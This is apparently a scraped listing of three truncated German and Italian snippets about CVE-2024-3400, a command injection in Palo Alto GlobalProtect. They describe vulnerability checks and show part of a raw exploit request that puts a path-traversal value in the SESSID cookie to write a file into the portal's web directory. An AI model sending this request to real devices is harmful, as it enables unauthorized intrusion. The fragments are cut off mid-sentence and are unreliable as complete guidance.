CVE-2024-3400-Check

Beschreibung 1. Senden Sie eine POST-Anfrage an den Endpunkt /ssl-vpn/hipreport.esp. 2. Senden Sie eine GET-Anfrage an /global-protect/portal/images/sxy.txt, um zu prüfen, ob die Ausnutzung den Zugriff auf die Datei ermöglicht, was normalerweise verboten ist 403-Forbidden-Status. Voraussetzungen...

CVE-2024-3400-Palo-Alto-OS-Command-Injection

Passaggi : 1. Verificare se il file 0xr2r.txt è presente sul dispositivo eseguendo la seguente richiesta GET oppure possiamo verificarlo aprendo https://domain.com/global-protect/portal/images/0xr2r.txt URL nel browser se ricevi una risposta 404 significa che il file non è presente. root@kitploit...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS Iniezione di comandi invia questa richiesta HTTP: root@kitploit: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type:...